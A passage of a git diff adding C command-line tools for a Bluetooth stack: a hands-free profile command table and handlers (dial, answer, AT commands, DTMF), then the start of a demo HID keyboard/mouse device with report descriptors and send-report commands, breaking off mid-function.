connect_cmd, 0, "Establish hfp SLC connection params: <address>" }, + { "disconnect", disconnect_cmd, 0, "Disconnect hfp SLC connection params: <address>" }, + { "policy", set_policy_cmd, 0, SET_POLICY_USAGE }, + { "connectaudio", connect_audio_cmd, 0, "Establish hfp SCO connection params: <address>" }, + { "disconnectaudio", disconnect_audio_cmd, 0, "Disconnect hfp SCO connection params: <address>" }, + { "startvr", start_voice_recognition_cmd, 0, "Start voice recognition params: <address>" }, + { "stopvr", stop_voice_recognition_cmd, 0, "Stop voice recognition params: <address>" }, + { "dial", dial_cmd, 0, "Dial phone number params: <address> <number>" }, + { "dialm", dial_memory_cmd, 0, "Place a call using memory dialing params: <address> <memory>" }, + { "redial", redial_cmd, 0, "Redial the last number params: <address>" }, + { "accept", accept_call_cmd, 0, ACCEPT_CALL_USAGE }, + { "reject", reject_call_cmd, 0, REJECT_CALL_USAGE }, + { "hold", hold_call_cmd, 0, "Hold an Three-way calling params: <address>" }, + { "term", terminate_call_cmd, 0, HANGUP_CALL_USAGE }, + { "control", control_call_cmd, 0, HOLD_CALL_USAGE }, + { "query", query_current_calls_cmd, 0, "Query current calls params: <address>" }, + { "querycb", query_current_calls_with_callback_cmd, 0, "Query current calls with callback params: <address>" }, + { "sendat", send_at_cmd_cmd, 0, "Send customize AT command to peer params: <address> <atcmd>" }, + { "battery", update_battery_level_cmd, 0, "Update battery level within [0, 100] params: <address> <level>\"" }, + { "dtmf", send_dtmf_cmd, 0, SEND_DTMF_USAGE }, + { "cnum", get_subscriber_number, 0, "Get subscriber number params: <address> " }, + { "state", get_hfp_connection_state_cmd, 0, "get hfp profile state" }, +}; + +static void* hf_callbacks = NULL; +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_hfp_tables); i++) { + printf("\t%-8s\t%s\n", g_hfp_tables[i].cmd, g_hfp_tables[i].help); + } +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_connect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_disconnect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int set_policy_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + connection_policy_t policy; + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + switch (atoi(argv[1])) { + case CONNECTION_POLICY_ALLOWED: + policy = CONNECTION_POLICY_ALLOWED; + break; + case CONNECTION_POLICY_FORBIDDEN: + policy = CONNECTION_POLICY_FORBIDDEN; + break; + default: + policy = CONNECTION_POLICY_UNKNOWN; + break; + }; + + if (bt_hfp_hf_set_connection_policy(handle, &addr, policy) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int get_hfp_connection_state_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int state = bt_hfp_hf_get_connection_state(handle, &addr); + PRINT("HFP HF connection state: %d", state); + + return CMD_OK; +} + +static int connect_audio_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_connect_audio(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_audio_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_disconnect_audio(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int start_voice_recognition_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_start_voice_recognition(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int stop_voice_recognition_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_stop_voice_recognition(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int dial_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_dial(handle, &addr, argv[1]) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int dial_memory_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_dial_memory(handle, &addr, atoi(argv[1])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int redial_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_redial(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int accept_call_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int flag = atoi(argv[1]); + if (flag < 0 || flag > 2) + return CMD_INVALID_PARAM; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_accept_call(handle, &addr, flag) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int reject_call_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_reject_call(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int hold_call_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_hold_call(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int terminate_call_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_terminate_call(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int control_call_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int chld = atoi(argv[1]); + if (chld < 0 || chld > 3) + return CMD_INVALID_PARAM; + + if (bt_hfp_hf_control_call(handle, &addr, chld, 0) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int query_current_calls_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + hfp_current_call_t* calls = NULL; + int num = 0; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_query_current_calls(handle, &addr, &calls, &num, bttool_allocator) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Calls:[%d]", num); + if (num) { + hfp_current_call_t* call = calls; + for (int i = 0; i < num; i++) { + PRINT("\tidx[%d], dir:%d, state:%d, number:%s, name:%s", + (int)call->index, call->dir, call->state, call->number, call->name); + call++; + } + } + free(calls); + + return CMD_OK; +} + +static int query_current_calls_with_callback_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + bt_address_t addr; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_query_current_calls_with_callback(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int send_at_cmd_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + int len = 0; + char at_buf[64]; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + len = strlen(argv[1]); + if (len + 3 > 64) + return CMD_INVALID_PARAM; + + memcpy(at_buf, argv[1], len); + at_buf[len] = '\r'; + at_buf[len + 1] = '\n'; + at_buf[len + 2] = '\0'; + if (bt_hfp_hf_send_at_cmd(handle, &addr, at_buf) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int update_battery_level_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int level = atoi(argv[1]); + if (level < 0 || level > 100) + return CMD_INVALID_PARAM; + + if (bt_hfp_hf_update_battery_level(handle, &addr, level) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int send_dtmf_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (strlen(argv[1]) != 1) + return CMD_INVALID_PARAM; + + char dtmf = argv[1][0]; + if (((dtmf < '0') || (dtmf > '9')) && ((dtmf < 'A') || (dtmf > 'D')) && (dtmf != '*') && (dtmf != '#')) + return CMD_INVALID_PARAM; + + if (bt_hfp_hf_send_dtmf(handle, &addr, dtmf) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int get_subscriber_number(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_hf_get_subscriber_number(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static void hf_connection_state_callback(void* context, bt_address_t* addr, profile_connection_state_t state) +{ + PRINT_ADDR("hf_connection_state_callback, addr:%s, state:%d", addr, state); +} + +static void hf_audio_state_callback(void* context, bt_address_t* addr, hfp_audio_state_t state) +{ + PRINT_ADDR("hf_audio_state_callback, addr:%s, state:%d", addr, state); +} + +static void hf_vr_cmd_callback(void* context, bt_address_t* addr, bool started) +{ + PRINT_ADDR("hf_vr_cmd_callback, addr:%s, started:%d", addr, started); +} + +static void hf_call_state_change_callback(void* context, bt_address_t* addr, hfp_current_call_t* call) +{ + PRINT_ADDR("hf_call_state_change_callback, addr:%s, idx[%d], dir:%d, state:%d, number:%s, name:%s", + addr, (int)call->index, call->dir, call->state, call->number, call->name); +} + +static void hf_cmd_complete_callback(void* context, bt_address_t* addr, const char* resp) +{ + PRINT_ADDR("hf_cmd_complete_callback, addr:%s, AT cmd resp:%s", addr, resp); +} + +static void hf_ring_indication_callback(void* context, bt_address_t* addr, bool inband_ring_tone) +{ + PRINT_ADDR("hf_ring_indication_callback, addr:%s, inband-ring:%d", addr, inband_ring_tone); +} + +static void hf_vol_changed_callback(void* context, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + PRINT_ADDR("hf_vol_changed_callback, addr:%s, type:%s, vol:%d", addr, type ? "Microphone" : "Speaker", volume); +} + +static void hf_clip_cb(void* context, bt_address_t* addr, const char* number, const char* name) +{ + PRINT_ADDR("hf_clip_cb, addr:%s, number:%s, name:%s", addr, number, name); +} + +static void hf_subscriber_number_cb(void* context, bt_address_t* addr, const char* number, hfp_subscriber_number_service_t service) +{ + PRINT_ADDR("hf_subscriber_number_cb, addr:%s, number:%s, service:%d", addr, number, service); +} + +static void hf_current_call_callback(void* context, bt_address_t* addr, uint8_t num, hfp_current_call_t* calls) +{ + printf("hf_current_call_callback\n"); + for (int i = 0; i < num; i++) { + hfp_current_call_t* c = &calls[i]; + PRINT_ADDR("hf_current_call_callback, addr:%s, idx[%" PRIx32 "], dir:%d, state:%d, number:%s, name:%s", + addr, c->index, c->dir, c->state, c->number, c->name); + } +} + +static const hfp_hf_callbacks_t hfp_hf_cbs = { + sizeof(hfp_hf_cbs), + hf_connection_state_callback, + hf_audio_state_callback, + hf_vr_cmd_callback, + hf_call_state_change_callback, + hf_cmd_complete_callback, + hf_ring_indication_callback, + hf_vol_changed_callback, + NULL, + NULL, + NULL, + hf_clip_cb, + hf_subscriber_number_cb, + hf_current_call_callback, +}; + +int hfp_hf_commond_init(void* handle) +{ + hf_callbacks = bt_hfp_hf_register_callbacks(handle, &hfp_hf_cbs); + + return 0; +} + +int hfp_hf_commond_uninit(void* handle) +{ + bt_hfp_hf_unregister_callbacks(handle, hf_callbacks); + + return 0; +} + +int hfp_hf_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_hfp_tables, ARRAY_SIZE(g_hfp_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/hid_device.c b/tools/hid_device.c new file mode 100644 index 0000000000000000000000000000000000000000..556cb7969e72d0166c5ef39fd05b5f5da31c6cd6 --- /dev/null +++ b/tools/hid_device.c @@ -0,0 +1,574 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdlib.h> +#include <string.h> + +#include "bt_hid_device.h" +#include "bt_tools.h" + +static int register_cmd(void* handle, int argc, char* argv[]); +static int unregister_cmd(void* handle, int argc, char* argv[]); +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int send_report_cmd(void* handle, int argc, char* argv[]); +static int send_keyboard_cmd(void* handle, int argc, char* argv[]); +static int send_mouse_cmd(void* handle, int argc, char* argv[]); +static int send_consumer_cmd(void* handle, int argc, char* argv[]); +static int unplug_cmd(void* handle, int argc, char* argv[]); +static int dump_cmd(void* handle, int argc, char* argv[]); + +static bt_command_t g_hidd_tables[] = { + { "register", register_cmd, 0, "\"register HID app: <type>(1:KEYBOARD, 2:MOUSE, 3:KBMS_COMBO) <transport>(0:BLE, 1:BREDR)\"" }, + { "unregister", unregister_cmd, 0, "\"unregister HID app \"" }, + { "connect", connect_cmd, 0, "\"connect HID host param: <address> \"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect HID host param: <address>\"" }, + { "send_report", send_report_cmd, 0, "\"send report param: <address> <report id> <report data> \"" }, + { "send_keyboard", send_keyboard_cmd, 0, "\"send keyboard report: <address> <modifier key> <normal key>\"" }, + { "send_mouse", send_mouse_cmd, 0, "\"send mouse report: <address> <X axises>(-127~128) <Y axises>(-127~128)\"" }, + { "send_consumer", send_consumer_cmd, 0, "\"send consumer report: <address> <consumer key>\"" }, + { "unplug", unplug_cmd, 0, "\"virtual unplug param: <address> \"" }, + { "dump", dump_cmd, 0, "\"dump HID device current state\"" }, +}; + +static void* hidd_callbacks = NULL; + +const static uint8_t s_hid_KB_report_desc[] = { + 0x05, 0x01, + 0x09, 0x06, + 0xA1, 0x01, + + 0x05, 0x07, + 0x19, 0xE0, + 0x29, 0xE7, + 0x15, 0x00, + 0x25, 0x01, + 0x95, 0x08, + 0x75, 0x01, + 0x81, 0x02, + + 0x95, 0x01, + 0x75, 0x08, + 0x81, 0x01, + + 0x05, 0x08, + 0x19, 0x01, + 0x29, 0x05, + 0x95, 0x05, + 0x75, 0x01, + 0x91, 0x02, + 0x95, 0x01, + 0x75, 0x03, + 0x91, 0x01, + + 0x05, 0x07, + 0x19, 0x00, + 0x29, 0x65, + 0x15, 0x00, + 0x25, 0x65, + 0x95, 0x06, + 0x75, 0x08, + 0x81, 0x00, + 0xC0 +}; + +const static uint8_t s_hid_MS_report_desc[] = { + 0x05, 0x01, + 0x09, 0x02, + 0xA1, 0x01, + 0x09, 0x01, + 0xA1, 0x00, + + 0x05, 0x09, + 0x19, 0x01, + 0x29, 0x03, + 0x15, 0x00, + 0x25, 0x01, + 0x95, 0x03, + 0x75, 0x01, + 0x81, 0x02, + 0x95, 0x01, + 0x75, 0x05, + 0x81, 0x01, + + 0x05, 0x01, + 0x09, 0x30, + 0x09, 0x31, + 0x09, 0x38, + 0x15, 0x81, + 0x25, 0x7F, + 0x75, 0x08, + 0x95, 0x03, + 0x81, 0x06, + 0xC0, + 0xC0 +}; + +const static uint8_t s_hid_combo_report_desc[] = { + 0x05, 0x0C, + 0x09, 0x01, + 0xA1, 0x01, + 0x85, 0x01, + 0x15, 0x00, + 0x25, 0x01, + 0x95, 0x01, + 0x75, 0x01, + 0x09, 0xCD, + 0x81, 0x06, + 0x0A, 0x83, 0x01, + 0x81, 0x06, + 0x09, 0xB5, + 0x81, 0x06, + 0x09, 0xB6, + 0x81, 0x06, + 0x09, 0xEA, + 0x81, 0x06, + 0x09, 0xE9, + 0x81, 0x06, + 0x0A, 0x23, 0x02, + 0x81, 0x06, + 0x0A, 0x24, 0x02, + 0x81, 0x06, + 0xC0, + + 0x05, 0x01, + 0x09, 0x02, + 0xA1, 0x01, + 0x09, 0x01, + 0xA1, 0x00, + 0x85, 0x02, + 0x05, 0x09, + 0x19, 0x01, + 0x29, 0x03, + 0x15, 0x00, + 0x25, 0x01, + 0x95, 0x03, + 0x75, 0x01, + 0x81, 0x02, + 0x95, 0x01, + 0x75, 0x05, + 0x81, 0x01, + + 0x05, 0x01, + 0x09, 0x30, + 0x09, 0x31, + 0x09, 0x38, + 0x15, 0x81, + 0x25, 0x7F, + 0x75, 0x08, + 0x95, 0x03, + 0x81, 0x06, + 0xC0, + 0xC0 +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_hidd_tables); i++) { + printf("\t%-8s\t%s\n", g_hidd_tables[i].cmd, g_hidd_tables[i].help); + } +} + +static void hidd_app_state_cb(void* cookie, hid_app_state_t state) +{ + PRINT("%s, state: %s", __func__, (state == HID_APP_STATE_REGISTERED) ? "registered" : "not registed"); +} + +static void hidd_connection_state_cb(void* cookie, bt_address_t* addr, bool le_hid, + profile_connection_state_t state) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + PRINT("%s, addr:%s, transport: %s, state:%d", __func__, addr_str, le_hid ? "le" : "br", state); +} + +static void hidd_get_report_cb(void* cookie, bt_address_t* addr, uint8_t rpt_type, + uint8_t rpt_id, uint16_t buffer_size) +{ + uint8_t rpt_data[] = { 0x00, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07 }; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + PRINT("%s, addr:%s, buffer size: %d", __func__, addr_str, buffer_size); + + if (rpt_id != 0) + rpt_data[0] = rpt_id; + + bt_hid_device_response_report(cookie, addr, rpt_type, rpt_data, sizeof(rpt_data)); +} + +static void hidd_set_report_cb(void* cookie, bt_address_t* addr, uint8_t rpt_type, + uint16_t rpt_size, uint8_t* rpt_data) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + PRINT("%s, addr:%s, report type: %d", __func__, addr_str, rpt_type); + lib_dumpbuffer("report data:", rpt_data, rpt_size); + bt_hid_device_report_error(cookie, addr, HID_STATUS_OK); +} + +static void hidd_receive_report_cb(void* cookie, bt_address_t* addr, uint8_t rpt_type, + uint16_t rpt_size, uint8_t* rpt_data) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + PRINT("%s, addr:%s, report type: %d", __func__, addr_str, rpt_type); + lib_dumpbuffer("report data:", rpt_data, rpt_size); +} + +static void hidd_virtual_unplug_cb(void* cookie, bt_address_t* addr) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + PRINT("%s, addr:%s", __func__, addr_str); +} + +enum { + APP_HID_DEVICE_KEYBOARD = 1, + APP_HID_DEVICE_MOUSE = 2, + APP_HID_DEVICE_KBMS_COMBO = 3 +}; + +static int register_cmd(void* handle, int argc, char* argv[]) +{ + hid_device_sdp_settings_t hidd_setting; + const uint8_t* desc_list; + uint16_t desc_len; + int app_type; + int transport; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + app_type = atoi(argv[0]); + transport = (argc < 2) ? BT_TRANSPORT_BREDR : atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + memset(&hidd_setting, 0, sizeof(hid_device_sdp_settings_t)); + hidd_setting.name = "HID_Device_Demo"; + hidd_setting.description = "A demo of HID Device implementation"; + hidd_setting.provider = "Xiaomi Vela"; + hidd_setting.hids_info.attr_mask = HID_ATTR_MASK_VIRTUAL_CABLE | HID_ATTR_MASK_RECONNECT_INITIATE | HID_ATTR_MASK_NORMALLY_CONNECTABLE /* | BTHID_ATTR_MASK_BOOT_DEVICE*/; + + switch (app_type) { + case APP_HID_DEVICE_KEYBOARD: + hidd_setting.hids_info.sub_class = (uint8_t)COD_PERIPHERAL_KEYBOARD; + desc_list = s_hid_KB_report_desc; + desc_len = sizeof(s_hid_KB_report_desc); + break; + case APP_HID_DEVICE_MOUSE: + hidd_setting.hids_info.sub_class = (uint8_t)COD_PERIPHERAL_POINT; + desc_list = s_hid_MS_report_desc; + desc_len = sizeof(s_hid_MS_report_desc); + break; + default: + hidd_setting.hids_info.sub_class = (uint8_t)COD_PERIPHERAL_KEYORPOINT; + desc_list = s_hid_combo_report_desc; + desc_len = sizeof(s_hid_combo_report_desc); + break; + } + + hidd_setting.hids_info.dsc_list = malloc(desc_len + 3); + if (!hidd_setting.hids_info.dsc_list) { + return CMD_ERROR; + } + + hidd_setting.hids_info.vendor_id = 0x038F; + hidd_setting.hids_info.product_id = 0x1234; + hidd_setting.hids_info.version = 0x100; + hidd_setting.hids_info.dsc_list_length = (uint16_t)(desc_len + 3); /* 3 bytes for Descriptor Type and Length */ + hidd_setting.hids_info.dsc_list[0] = HID_SDP_DESCRIPTOR_REPORT; + hidd_setting.hids_info.dsc_list[1] = (uint8_t)(desc_len & 0xFF); + hidd_setting.hids_info.dsc_list[2] = (uint8_t)(desc_len >> 8); + memcpy(hidd_setting.hids_info.dsc_list + 3, desc_list, desc_len); + + bt_status_t ret = bt_hid_device_register_app(handle, &hidd_setting, transport == BT_TRANSPORT_BLE); + free(hidd_setting.hids_info.dsc_list); + if (ret != BT_STATUS_SUCCESS) { + if (ret == BT_STATUS_NO_RESOURCES) { + PRINT("HID app has registed, please unregister then try again"); + } + return CMD_ERROR; + } + + PRINT("HID device register app, type:%s", argv[0]); + + return CMD_OK; +} + +static int unregister_cmd(void* handle, int argc, char* argv[]) +{ + bt_status_t ret = bt_hid_device_unregister_app(handle); + if (ret != BT_STATUS_SUCCESS) { + if (ret == BT_STATUS_NOT_FOUND) { + PRINT("HID app isn't registed, please register then try again"); + } + return CMD_ERROR; + } + + PRINT("HID device unregister app"); + + return CMD_OK; +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hid_device_connect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("HID device connect host, address:%s", argv[0]); + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hid_device_disconnect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("HID device disconnect host, address:%s", argv[0]); + + return CMD_OK; +} + +static void hex2str(char* src_str, uint8_t* dest_buf, uint8_t hex_number) +{ + uint8_t i; + uint8_t lb, hb; + + for (i = 0; i < hex_number; i++) { + lb = src_str[(i << 1) + 1]; + hb = src_str[i << 1]; + if (hb >= '0' && hb <= '9') { + dest_buf[i] = hb - '0'; + } else if (hb >= 'A' && hb < 'G') { + dest_buf[i] = hb - 'A' + 10; + } else if (hb >= 'a' && hb < 'g') { + dest_buf[i] = hb - 'a' + 10; + } else { + dest_buf[i] = 0; + } + + dest_buf[i] <<= 4; + if (lb >= '0' && lb <= '9') { + dest_buf[i] += lb - '0'; + } else if (lb >= 'A' && lb < 'G') { + dest_buf[i] += lb - 'A' + 10; + } else if (lb >= 'a' && lb < 'g') { + dest_buf[i] += lb - 'a' + 10; + } + } +} + +static int send_report_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + uint8_t report_id; + uint8_t report_data[8]; + int report_length; + char* buffer; + int size; + + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + PRINT("%s, address:%s", __func__, argv[0]); + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + report_id = atoi(argv[1]); + size = strlen(argv[2]) + 1; + buffer = (char*)malloc(size); + if (!buffer) + return CMD_ERROR; + + memcpy(buffer, argv[2], size); + buffer[size - 1] = 0; + + report_length = size / 2; + if (report_length > sizeof(report_data)) + report_length = sizeof(report_data); + + memset(report_data, 0, sizeof(report_data)); + hex2str(buffer, report_data, report_length); + + bt_status_t ret = bt_hid_device_send_report(handle, &addr, report_id, report_data, report_length); + free(buffer); + if (ret != BT_STATUS_SUCCESS) { + return CMD_ERROR; + } + + return CMD_OK; +} + +static int send_keyboard_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + uint8_t rpt_data[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + PRINT("%s, address:%s", __func__, argv[0]); + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + rpt_data[0] = strtol(argv[1], NULL, 16); + rpt_data[2] = strtol(argv[2], NULL, 16); + + PRINT("modifier key: 0x%02X, normal key: 0x%02X", rpt_data[0], rpt_data[2]); + if (bt_hid_device_send_report(handle, &addr, 0, rpt_data, sizeof(rpt_data)) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + memset(rpt_data, 0, sizeof(rpt_data)); + if (bt_hid_device_send_report(handle, &addr, 0, rpt_data, sizeof(rpt_data)) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int send_mouse_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + int8_t rpt_data[4] = { 0x00, 0x00, 0x00, 0x00 }; + + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + PRINT("%s, address:%s", __func__, argv[0]); + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + rpt_data[1] = atoi(argv[1]); + rpt_data[2] = atoi(argv[2]); + + PRINT("X axises: %d, Y axises: %d", rpt_data[0], rpt_data[2]); + if (bt_hid_device_send_report(handle, &addr, 0, (uint8_t*)rpt_data, sizeof(rpt_data)) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + memset(rpt_data, 0, sizeof(rpt_data)); + if (bt_hid_device_send_report(handle, &addr, 0, (uint8_t*)rpt_data, sizeof(rpt_data)) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int send_consumer_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + uint8_t rpt_data[2] = { 0x01, 0x00 }; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + PRINT("%s, address:%s", __func__, argv[0]); + if 